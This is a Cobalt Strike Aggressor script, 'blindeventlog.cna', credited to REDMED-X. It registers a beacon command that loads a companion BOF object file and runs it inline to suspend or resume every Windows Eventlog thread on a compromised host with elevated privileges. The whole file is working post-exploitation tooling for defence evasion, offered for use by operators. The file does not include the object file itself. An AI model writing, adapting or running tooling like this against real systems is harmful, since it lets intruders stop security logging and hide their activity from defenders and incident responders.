blindeventlog.cna 1.1 KB

1234567891011121314151617181920212223242526272829303132
  1. # author REDMED-X
  2. beacon_command_register(
  3. "blindeventlog", "Blind Eventlog by suspending its threads.",
  4. "INFO:\nBlind Eventlog by suspending its threads. This technique requires elevated privileges.\nBe aware that all events, from the period the threads were suspended, will be pushed to Eventlog the moment the threads are resumed.\n\nOPTIONS:\n[suspend]: find and suspend all Eventlog threads and disrupt its functionality\n[resume]: find and resume all Eventlog threads and restore its functionality\n\n" .
  5. "USAGE:\nblindeventlog <suspend | resume>\n\n");
  6. alias blindeventlog {
  7. $bid = $1;
  8. $action = $2;
  9. if ($action eq "suspend" || $action eq "resume") {
  10. }
  11. else {
  12. berror($bid, "Please specify one of the following actions: suspend | resume\n");
  13. return;
  14. }
  15. # Read in the right BOF file
  16. $handle = openf(script_resource("blindeventlog.o"));
  17. $data = readb($handle, -1);
  18. closef($handle);
  19. # Pack our arguments
  20. $arg_data = bof_pack($bid, "z", $action);
  21. blog($bid, "Tasked to interact with Eventlog..");
  22. beacon_inline_execute($bid, $data, "go", $arg_data);
  23. }